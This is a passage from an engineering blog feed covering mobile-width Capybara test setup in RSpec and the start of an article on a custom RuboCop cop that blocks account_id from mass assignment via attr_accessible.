&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# in spec/support/capybara_helpers.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; with_mobile_width&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  page.driver.browser.manage.window.resize_to(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;375&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;764&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# resize to mobile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  yield&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt; # run the test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  page.driver.browser.manage.window.resize_to(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1920&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1080&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# resize back to default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then in our test:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;context &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;mobile user&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  scenario &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user logs in on mobile&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with_mobile_width &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;       # These labels are specific to mobile widths&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;       expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;First name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;       expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Last name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This solution works better. It can be reused, it tells us why we are resizing, and it won&apos;t interfere with other tests. But there is still room for improvement.&lt;/p&gt;
&lt;p&gt;We are adding another layering of nesting to the test. If we continue to use it in other places, then we are going to have some deeply nested tests. There is another way we can get this functionality without using this helper.&lt;/p&gt;
&lt;h2&gt;Updating our configuration&lt;/h2&gt;
&lt;p&gt;I want to be able to drop a &lt;code&gt;:mobile_width&lt;/code&gt; in our test declaration. This resolves our three problems and won&apos;t clutter the tests. Below is an update to our configuration.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# in spec/support/capybara.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;rspec_config.before(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:each&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |example|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  browser &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Capybara&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current_session.driver.browser&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # if we have :mobile in test, resize. Otherwise go to default.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; example.metadata.key?(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:mobile_width&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    browser.manage.window.resize_to(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;375&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;764&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    browser.manage.window.resize_to(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1920&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1080&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are using the &lt;code&gt;before(:each)&lt;/code&gt; hook. This does exactly what it says on the box. Before each test runs, hook into it and perform an action. In this case, we are checking to see if the test has a &lt;code&gt;:mobile_width&lt;/code&gt; key. If it does, run at a mobile width. If it does not, run at the standard width. The test looks a lot cleaner.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;context &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;mobile user&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:mobile_width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  scenario &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user logs in on mobile&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # These labels are specific to mobile widths&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;First name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Last name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All the tests in the mobile user context are now going to run at that width. We have addressed the original three issues. This is reusable, it explains what we are doing to the test, and the mobile width won&apos;t leak into other tests. We also don&apos;t need to add another layer of testing to our code like we did by adding the &lt;code&gt;with_mobile_width&lt;/code&gt; helper, so the tests remain tidy and sustainable.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Aha! is happy, healthy, and hiring. Join us!&lt;/h3&gt;
&lt;p&gt;This feature took a lot of tinkering and guidance from other engineers. Without such a knowledgeable and helpful team, I would not have arrived at this clean solution. If you want to build lovable software with this talented and growing team, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;apply to an open role&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Writing and testing a custom RuboCop cop]]></title><description><![CDATA[Solving a problem is great — but keeping it from coming back is even better. As we resolve issues in our code base, we often consider how to…]]></description><link>https://www.aha.io/engineering/articles/writing-and-testing-a-custom-rubocop-cop</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/writing-and-testing-a-custom-rubocop-cop</guid><dc:creator><![CDATA[Kyle d’Oliveira]]></dc:creator><pubDate>Thu, 20 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Solving a problem is great — but keeping it from coming back is even better. As we resolve issues in our code base, we often consider how to keep that classification of issue out of the code base entirely. Sometimes we reach for &lt;a href=&quot;https://docs.rubocop.org/rubocop/index.html&quot;&gt;RuboCop&lt;/a&gt; to help us police certain patterns. This also helps to document the originating issue and educates teammates on why these patterns are undesirable.&lt;/p&gt;
&lt;p&gt;RuboCop is more than just a linter. It is highly extensible and allows you to write &lt;a href=&quot;https://thoughtbot.com/blog/rubocop-custom-cops-for-custom-needs&quot;&gt;custom cops&lt;/a&gt; to enforce specific behavior. These cops can be used to create better code practices, prevent bad patterns from sneaking into a legacy code base, and provide training for other engineers. But it can be tricky to know &lt;a href=&quot;https://docs.rubocop.org/rubocop/development.html&quot;&gt;how to create a new cop&lt;/a&gt; and if it will work long-term.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We can write unit tests to ensure the success of our custom cops, just as we would with any application code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&apos;s explore this with an example to show how testing could be done.&lt;/p&gt;
&lt;h2&gt;Testing custom cops&lt;/h2&gt;
&lt;p&gt;With the Aha! engineering team, every model has an &lt;code&gt;account_id&lt;/code&gt; attribute present and for &lt;a href=&quot;https://brakemanscanner.org/docs/warning_types/mass_assignment/&quot;&gt;security reasons&lt;/a&gt;, we never want this to be set via mass-assignment. To avoid this, we want to prevent certain attributes from being added to &lt;a href=&quot;https://apidock.com/rails/ActiveRecord/Base/attr_accessible/class&quot;&gt;attr_accessible&lt;/a&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# bad&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  attr_accessible &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:account_id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Foo&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;account_id:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;name:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# good&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  attr_accessible &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;foo &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Foo&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;name:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;foo.account_id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;foo.save&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have a custom cop that analyzes the arguments to that method and will error if any protected attribute is present. The custom cop we have ends up looking something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; RuboCop::Cop::ProtectedAttrAccessibleFields&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; RuboCop::Cop::Cop&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # We can define a list of attributes we want to protect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  PROTECTED_ATTRIBUTES&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    :account_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ].freeze&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # We can define an error message that is displayed when an offense is detected.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # This can be helpful to communicate information back to other engineers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  ERROR_MESSAGE&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &amp;#x3C;&amp;#x3C;~ERROR.freeze&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    Only permit attributes that are safe to be completely user controlled. Typically any *_id field could be problematic.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    Instead perform direct assignment of the field after doing a scoped lookup. This is the safest way to handle user input.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    Some fields such as &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;PROTECTED_ATTRIBUTES&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.inspect}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; should never be used as part of attr_accessible.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  ERROR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # We want to examine method calls. Particularly those that are calling the attr_accessible method&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # and also have arguments we care about&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; on_send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(node)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; receiver_attr_accessible?(node) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; protected_arguments?(node)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # If we do detect an attr_accessible call with arguments we care about, we can record an offense&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      add_offense(node, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;message:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ERROR_MESSAGE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  private&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; receiver_attr_accessible?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(node)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    node.method_name &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :attr_accessible&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; protected_arguments?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(node)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    node.arguments.any? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |argument|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; argument.sym_type? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; argument.str_type?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        PROTECTED_ATTRIBUTES&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.include?(argument.value.to_sym)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This custom cop does the trick. Adding a test for it ensures that it won&apos;t break in the future when we update RuboCop or extend the functionality. In order to write a test, we need to understand how the custom cops are set up and run.&lt;/p&gt;
&lt;h2&gt;Instantiate a custom cop&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;RuboCop::Cop::Cop&lt;/code&gt; inherits from &lt;code&gt;RuboCop::Cop::Base&lt;/code&gt; and that allows the instantiation without &lt;a href=&quot;https://github.com/rubocop/rubocop/blob/d8c2cd0d891c9e49f528041d3b0758a6fa480265/lib/rubocop/cop/base.rb#L71&quot;&gt;any arguments&lt;/a&gt;. So it turns out this isn&apos;t anything special — creating a new instance of our cop is really as simple as: &lt;code&gt;RuboCop::Cop::ProtectedAttrAccessibleFields.new&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If the cop requires some kind of configuration, it can be passed to the instance via a &lt;code&gt;RuboCop::Config&lt;/code&gt; object. The &lt;code&gt;RuboCop::Config&lt;/code&gt; takes two arguments. RuboCop can &lt;a href=&quot;https://docs.rubocop.org/rubocop/configuration.html&quot;&gt;provide configuration&lt;/a&gt; via YML files. You can use the first argument of &lt;code&gt;RuboCop::Config&lt;/code&gt; to pass this configuration with various values from the test. The second argument is the path of the loaded YML file, which can be ignored in the tests.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;config &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Config&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Cop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ProtectedAttrAccessibleFields&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.badge.to_s =&gt; {} }, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;cop &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; RuboCop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Cop&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ProtectedAttrAccessibleFields&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(config)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Process, execute, examine&lt;/h2&gt;
&lt;p&gt;As it turns out, there is a &lt;a href=&quot;https://github.com/rubocop/rubocop/blob/d8c2cd0d891c9e49f528041d3b0758a6fa480265/lib/rubocop/cop/base.rb#L238&quot;&gt;method&lt;/a&gt; available, &lt;code&gt;RuboCop::Cop::Base#parse&lt;/code&gt; , that accepts a string as input and will return something the cop can process.&lt;/p&gt;
&lt;p&gt;This allows us to have something like:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;source &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &amp;#x3C;&amp;#x3C;~CODE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  attr_accessible :account_id&lt;/span&gt;&lt;/span&gt;
